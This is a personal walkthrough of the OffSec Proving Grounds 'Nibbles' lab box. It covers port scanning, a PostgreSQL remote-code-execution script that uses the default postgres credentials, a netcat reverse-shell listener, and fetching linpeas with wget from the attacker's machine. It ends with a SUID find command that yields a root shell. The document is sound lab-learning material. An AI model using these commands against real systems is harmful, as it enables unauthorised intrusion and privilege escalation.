Nibbles Proving Grounds Walkthrough

I set up the VPN for OffSec and then started the machine to get an IP address. Once I got the IP, I ran an nmap scan for all ports to see what ports were open on the host.

nmap -p- 192.168.235.47 -o nmap.txt

PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
139/tcp closed netbios-ssn
445/tcp closed microsoft-ds
5437/tcp open pmip6-data

I then ran another nmap scan on just the ports that were open to find out what services were running on the open ports and version numbers.

nmap -sV -sC -p 21,22,80,5437 192.168.235.47 

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

ssh-hostkey:
2048 10621ff522de29d42496a766c364b710 (RSA)
256 c915ffcdf397ec3913164838c558d75f (ECDSA)
256 907ca34473b4b44ce39c71d187baca7b (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
http-server-header: Apache/2.4.38 (Debian)
http-title: Enter a title, displayed at the top of the window.
5437/tcp open postgresql PostgreSQL DB 11.3 - 11.9
ssl-date: TLS randomness does not represent time
ssl-cert: Subject: commonName=debian
Subject Alternative Name: DNS

Not valid before: 2020-04-27T15:41:47
Not valid after: 2030-04-25T15:41:47
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux

I noticed that the SMB ports were closed but still showed up on the first nmap scan as showing closed. I also noticed that nmap wasn't able to log in anonymously to FTP on port 21, so I assumed I would find credentials for that should it be the path I need. I then decided to check out port 80 to see the webserver running.

As you can see, it appeared to be a site that wasn't configured yet as the title says "Enter a title." I clicked on the links and saw more pages that just weren't configured for anything. I ran a directory brute force scan using FFUF but was unsuccessful in finding anything other than what was already listed on the home page. My focus shifted to port 5437.

I grabbed the name and version(s) that were listed and tried to Google for an exploit.

The only thing I seemed to find was an authenticated exploit, which meant I would need credentials to use the exploit. I looked at Hacktricks as well and tried enumerating things but was unsuccessful. I hadn't really played around much with PostgreSQL before, so I kept searching. I ended up searching "PostgreSQL RCE exploit GitHub" to see if there were any exploits on GitHub.

I came across this "squid22" user that had an RCE exploit available. I checked out their code.

I noticed that the code listed a user and password as "postgres," which I assumed was the default credentials for the database. I had not thought to look up the default creds, so I had a "dumb" feeling moment. I edited the IP addresses in the script.

I then set up a netcat listener on port 80.

nc -nvlp 80

Then I ran the script.

Bingo! We got a reverse shell! I ran "whoami" and saw that I was "postgres." I went to the home directory and found a user named "wilson." I went into Wilson's home directory and found the user flag.

I then wanted to run linpeas to find an attack vector for gaining privilege escalation. I went to the /tmp directory and used wget to get linpeas from my Kali machine.

On Kali Machine:

python3 -m http.server 80

On Target Machine

wget http://192.168.45.211/linpeas.sh

I then made the file executable and ran it.

chmod +x linpeas.sh
./linpeas.sh

Linpeas found a SUID bit for the binary find. So I went to GTFOBins to see what was needed to get root using the find binary.

According to GTFOBins, all I need to do is run this command to get root:

/usr/bin/find . -exec /bin/sh -p ; -quit

I ran the command and got root!

I grabbed the flag and confirmed it, completing this box. This was a fun one, fairly easy in my opinion, but fun.

-Sam